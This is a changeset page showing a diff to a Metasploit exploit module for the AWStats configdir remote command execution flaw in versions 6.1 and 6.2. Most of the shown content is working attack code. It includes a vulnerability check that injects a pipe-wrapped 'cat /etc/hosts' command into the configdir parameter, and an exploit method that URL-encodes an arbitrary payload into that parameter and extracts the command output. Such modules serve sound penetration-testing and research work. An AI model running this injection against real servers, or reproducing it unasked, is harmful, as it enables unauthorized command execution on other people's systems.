Changeset 5187

Show
Ignore:
Timestamp:
10/30/07 08:22:46 (9 months ago)
Author:
patrickw
Message:

Updated module by Matteo Cantoni

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/exploits/unix/webapp/awstats_configdir_exec.rb

    r4529 r5187  
    44 
    55## 
    6 # This file is part of the Metasploit Framework and may be subject to  
     6# This file is part of the Metasploit Framework and may be subject to 
    77# redistribution and commercial restrictions. Please see the Metasploit 
    88# Framework web site for more information on licensing and terms of use. 
     
    1717class Exploits::Unix::Webapp::AWStats_ConfigDir_Execution < Msf::Exploit::Remote 
    1818 
    19         include Exploit::Remote::Tcp 
    2019        include Exploit::Remote::HttpClient 
    2120 
    2221        def initialize(info = {}) 
    23                 super(update_info(info,         
     22                super(update_info(info, 
    2423                        'Name'           => 'AWStats configdir Remote Command Execution', 
    2524                        'Description'    => %q{ 
    2625                                        This module exploits an arbitrary command execution vulnerability in the 
    27                                 AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2  
    28                                 are vulnerable.                 
     26                                       AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2 
     27                                       are vulnerable. 
    2928                        }, 
    3029                        'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ], 
     
    4948                        'Targets'        => [[ 'Automatic', { }]], 
    5049                        'DisclosureDate' => 'Jan 15 2005', 
    51                         'DefaultTarget' => 0)) 
    52                          
     50                        'DefaultTarget' => 0)) 
     51 
    5352                        register_options( 
    5453                                [ 
     
    6059                res = send_request_cgi({ 
    6160                        'uri'      => datastore['URI'], 
    62                         'vars_get' =>  
     61                        'vars_get' => 
    6362                        { 
    6463                                'configdir' => '|echo;cat /etc/hosts;echo|' 
    6564                        } 
    6665                }, 25) 
    67                  
     66 
    6867                if (res and res.body.match(/localhost/)) 
    6968                        return Exploit::CheckCode::Vulnerable 
    7069                end 
    71                  
     70 
    7271                return Exploit::CheckCode::Safe 
    7372        end 
    74                  
    7573 
    7674        def exploit 
    77                 res = send_request_cgi({ 
    78                         'uri'      => datastore['URI'], 
    79                         'vars_get' =>  
     75                command = Rex::Text.uri_encode(payload.encoded) 
     76                urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|" 
     77 
     78                res = send_request_raw({ 
     79                        'uri'     => urlconfigdir, 
     80                        'method'  => 'GET', 
     81                        'headers' => 
    8082                        { 
    81                                 'configdir' => %Q!|echo 'YYY'; #{payload.encoded}; echo 'YYY'|! 
     83                                'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 
     84                                'Connection' => 'Close', 
    8285                        } 
    8386                }, 25) 
    84                  
     87 
    8588                if (res) 
    8689                        print_status("The server returned: #{res.code} #{res.message}") 
    87                         print("") 
    88                          
    89                         m = res.body.match(/YYY(.*)YYY/) 
    90                          
     90 
     91                        m = res.body.match(/YYY\n(.*)\nYYY/m) 
     92 
    9193                        if (m) 
    9294                                print_status("Command output from the server:") 
    93                                 print(m[1]
     95                                print("\n" + m[1] + "\n\n"
    9496                        else 
    9597                                print_status("This server may not be vulnerable") 
    9698                        end 
    97                          
    9899                else 
    99100                        print_status("No response from the server") 
    100101                end 
    101102        end 
    102          
     103 
    103104end 
    104 end      
     105end 
     106